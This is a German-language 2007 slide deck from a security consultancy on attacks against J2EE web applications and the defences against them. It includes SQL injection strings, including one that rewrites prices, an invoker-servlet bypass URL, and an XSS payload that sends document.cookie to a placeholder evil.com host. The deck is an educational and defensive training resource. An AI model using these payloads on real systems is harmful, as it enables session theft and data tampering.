Upload
others
View
0
Download
0
Embed Size (px)
Citation preview
Dr. Bruce Sams, GF OPTIMA
[email protected] www.optimabit.de
Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007
Über OPTIMAOPTIMA Business Information Technology GmbH isteine Beratungsfirma, spezialisiert auf
Applikationssicherheit und -Entwicklung für
Web Apps
SOA, Web Services & XML
PKI, Identity Management
Single-Sign-On
Wir schaffen Sichere Systeme.
Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007
Definition: Application SecurityModerne Anwendungen sindmodular, komplex undvielschichtig.
Fehler im
Design / Architektur
Implementierung
Deployment & Konfiguration
lassen Schwachstellen fürAngriffe.
Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007
Applikationen sind das Hauptproblem!Circa 77% allerSicherheitsprobleme stammenaus Applikationen!
Gründe:
Kein Sicherheitskonzept für dieArchitektur und die Integrationder Anwendung.
Entwickler und Managerverstehen sich als nicht für dieSicherheit verantwortlich.
Fehler bei der Entwicklung, derKonfiguration und demDeployment.
Quelle: NIST
Source of Security Vulnerabilites
0
5
10
15
20
25
30
35
40
45
Appl
icat
ion
(Clie
nt)
Appl
icat
ion
(Ser
ver)
Ope
ratin
gS
yste
m
Har
dwar
e
Com
mun
icat
ion
Pro
toco
l
Oth
er
Net
wor
kS
tack
Cry
ptog
raph
y
Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007
Erkenne den Feind!
25
28
40
77
82
0 20 40 60 80 100
ForeignCorporations
ForeignGovernments
NationalCompetitors
DisgruntledEmployees
HackersUnbekannteHacker
Angestellte
Konkurrenz
Regierungen
Quelle: CSI/FBI Computer Crime Survey 2005( ~ 500 Companies responding)
Percent
Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007
Sicherheit braucht Know-How
•IDS•IPSEC•Audits
Perimeter Network AppServer
Application
•Firewall•VPN
•Cryptography•Administration
Data Storage
Sicherheitsprobleme in Anwendungen können nur mitKnow-How beseitigt werden.
Produkten Know-How
•Config•Patch•Login
•Coding•Architecture•Integration
Dieser Bereich kann nur mit KNOW-HOW, NICHT mit Produktengesichert werden!
Zu verteidigenderBereich
Technologien
Sichern mit...
Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007
Verteidigungen, die nicht funktionieren
IDS Firewall
SSL
Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007
Hohe Kosten für eine späte KorrekturDie Kosten für eineKorrektur der Softwaresteigen mit der Zeit sehrschnell an.
(belegt durch mehrere Studien)
Fazit: Es ist viel günstiger,für Sicherheit bereits beider Entwicklung zubezahlen, als später.
Cos
t
TimeAnalysis Design Implementation Release Maintenance
1
10
20
30
40
50
Quellen: IBM, NCSP, US-BSI, usw.
Angriffe auf Java & J2EEHacking Cars-Online
Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007
Die Applikation"Cars-Online" ist eine J2EE Applikation, basierend aufServlets, JSPs und einer Datenbank.
Architektur wie Struts (Controller, Action)
Viele der Angriffe funktionieren auch gegen .NET Applikationen
Software Umgebung:
Tomcat 4.1.27
HypersonicSQL 1.7
Angriffe auf Applikationslogik
Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007
Angriff 1: ApplikationslogikOrder ID ist nicht wirklich "zufällig".
Angriff: Andere Order Id erraten, um zu erfahren, wasandere Benutzer bestellt haben.
FORM = "AD4X" + Counter + "N"
Beispiel: AD4X1373N
Order für Bill Gates.
Lustig! Aber wie wäre es mit dem Krankenbild einesPatienten?
Angriffe aufServerkonfiguration
Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007
Angriff 2a: KonfigurationDas Problem:
Jeder Web Container hat seine eigenen Wege, wichtigeKonfigurationen wie Directory Browsing zu kontrollieren.
Die Lösung: eigenes DefaultServlet
Sie nehmen die Konfiguration selbst in die Hand. So sind IhreWeb-Applikationen immun gegen Probleme der
Portierung
Konfiguration
Administration
Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007
Default Servletpublic class DefaultServlet extends HttpServlet {
public void doPost(HttpServletRequest req,HttpServletResponse res)throws ServletException, IOException {
String context = req.getContextPath();res.sendRedirect(context + "/error/default.jsp");
}
...
}
Dieses Servlet leitet direktzu einem ErrorPage
Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007
Beispiel: Sichere Konfiguration<servlet>
<servlet-name>MyDefault</servlet-name><servlet-class>org.x.DefaultServlet</servlet-class>
</servlet>
<servlet-mapping><servlet-name>MyDefault</servlet-name><url-pattern>/</url-pattern>
</servlet-mapping>
Dieses Servlet leitet direktzu einem ErrorPage
Mapping zum "/"
Angriffe auf Datenbanken
Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007
Was ist SQL Injection?SQL Injection bedeutet SQL Ausdrücke am Client zuformulieren und dem Server "einzuspritzen".
SQL-Injektion basiert hauptsächlich auf
Implementierungs-Logik,SELECT, INSERT, StoredProcedures
Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007
SQL Injection (1 = 1 Angriff)Der Angreifer erzeugt einen String, der die vermeinteSELECT-Kriterien aushebelt.
Beispeil: Ein E-Business mit online Verkaufübernimmt eine Bestellnummer vom Anwender undbaut daraus:
SELECT * FROM orders WHERE ORDERID = XXX
Ein Angreifer gibt folgendes ein:123456' OR '1'='1
Dieser Ausdruck ist für jede Reihe in der Tabelle Wahr.
Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007
SQL Injection (Ausdruck-Verkettung)Viele SQL-Dialekte erlauben es, mehrere SQL-Ausdrücke mittels ";" zu verketten.
Der Angreifer hängt ein "extra" SQL-Befehl an einenormale Eingabe an. Z.B.
Vermutung: SQL Ausdruck wie
"SELECT * FROM PRODUCTSWHERE DESCRIPTION LIKE '%" + XXX + "%'";
Angriff versuchen wo "XXX" istLambo%'; UPDATE PRODUCTS SET PRICE=1.0 WHEREDESCRIPTION LIKE '%Lambo
Angriffe auf Sessions
Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007
Session Hijacking
Client 1
Server
Client N
.
.
.
Session C1
Session CN
Zustand C1Zustand CN
sid = ABJ78
sid = ABJ78
sid =12UIOR
sid =12UIOR
Eine Session speichertInformation als Instanzenvon JavaBeans.
Die Session ID wird mitjedem Request übertragen.
Evil Hacksid = ABJ78
Session Hijacking!
Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007
Session HijackingTeillösungen:
Mit <session-timeout> in der web.xml können Sie alteSessions automatisch löschen, z.B.
<session-timeout>10</session-timeout>
Die Applikation kann eine "logout" Möglichkeit haben.
Die Session ID gegen Client IP überprüfen. (Problem mitProxies). Servlet Filter API ist für dieses Problem gut.
Lösung:
Sichere Verbindung mit HTTPS.
Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007
Trennung von Sicheren VerbindungenNeues Problem:
Ein Benutzer wechselt sein Protokoll von HTTPS auf HTTP.
Neue Lösungen:
Die GESAMTE Applikation muss unter HTTPS sein.
Die Session muß gelöscht bzw. modifiziert werden.
Cross-Site Scripting
Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007
Was ist Cross Site Scripting?Cross Site Scripting (XSS) nutzt die Ausführung vonJavaScript in HTMP Seiten, um Session-Informationvon Clients zu stehlen.
Grundlagen:
JavaScript wird im Browser "ausgeführt", wo auch immer eserscheint.
Die Website gibt Benutzereingabe wieder aus, ohne diese erstzu "bereinigen"
Es braucht mindestens 3 Parteien
Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007
Was ist Cross Site Scripting?JavaScript Ausdrücke werden vom Angreifer inEingabefeldern plaziert.
Auswertung geschieht nicht am Server sondern amattakierten Client.
HTML-Form Server
BusinessLogicInput field
Angreifer gibt JavaScriptein.
Business Logic spiegeltEingabe zurück.
Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007
XSS AngriffAngenommen, wir rufen eine Website auf über HTTP:
GET/myservlet?name=<script> ... </script> HTTP/1.0Host: www.schwachstelle.de
...
Der Server antwortet mit:<HTML><body>Hallo, <script> ... </script> !...</HTML>
Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007
Angriff 4: Cross-Site ScriptingMittels Cross-Site Scripting (XSS) können Angreiferdie Cookies und SessionIDs Ihrer Kunden stehlen.
Vulnerability: Die Applikation gibt Benutzereingabe inHTML ungefiltert zurück.
Dear <%= request.getParameter("name") %>, Thank youfor your order.
Angriff versuchen wo „name" ist<script>alert(document.cookie)</script>
Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007
XSS Angriff (2)Andere Strings können benutzt werden, um den Wertdes Cookies weiterzuleiten, z.B,:
<script>window.open("http://www.evil.com/cookiestealer?cookie="+document.cookie)</script>
Client Server
Angreifer
2) Angreifer sendetMail an Client
1) Client benutzt Server
4) JavaScript sendetCookie an Angreifer
3) Client ruft Servermit JavaScript auf
Sicherheitseinstellungenumgehen
Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007
Interceptors und Sicherheit
Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007
Invoker ServletDas Invoker Servlet bietet einen Weg, ein Servlet überseine FQN aufzurufen.
Man benutzt den "servlet" context und dann den FQN derKlasse:http://server:port/servlet/com.example.FooController
Das Invoker Servlet ist aus Kompatibilitätsgründen immer nochin vielen Containern vorhanden.
WARNUNG!
Servlets, die über den Invoker aufgerufen werden, ignorierendie <security-constraints> in der web.xml
Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007
Angriff 6: Invoker ServletDer Angreifer ruft den Kontroller direkt auf.
Setzen:
name : Hugoaddress : Foostr123ccnumber : 12345product : Ferrariquantity : 3shipping : DHL
#der komplette Aufruf!
http://192.168.1.26:8080/websales/servlet/web.sales.ControllerServlet?action=confirm&name=Hugo&address=Foostr123&ccnumber=12345&product=Ferrari&quantity=3&shipping=DHL
Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007
Defense in DepthDie "Defense in Depth" Strategie beschreibt einvielschichtiges Sicherheitskonzept.
Viele Schichten erschweren einen kompletten Durchbruch.
Schichten in alten Schlössern:
Wasser & Terrain
Zugbrücke
Steinmauer, Brüstungen
Kochendes Öl, Pfeile
Rettungsturm
Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007
Security Assurance Maßnahmen1. Policies und Guidelines
2. Hardening Guides
3. Code & Architektur Review
4. Penetration Test
5. Entwicklung von Sicherheitskonzepten &Lösungen
6. Weiterbildung für Entwickler und Manager
7. Sicheres Outsourcing
8. Sicherheit im Entwicklungsprozess(sicheres SDLC)
Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007
DiensteAuditierung und Review
•Architektur Review•Code Review•Penetration Test
Strategische Maßnahmen
•Policies•Integration von Sicherheit in der Entwicklung•Seminare und "Awareness" Veranstaltungen
Projektunterstützung
•Projektbegleitung und -Beratung•Entwicklung von Sicherheitskonzepten•Entwickler Guidelines
Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007
ZusammenfassungDanke für die Aufmerksamkeit!
KONTAKT: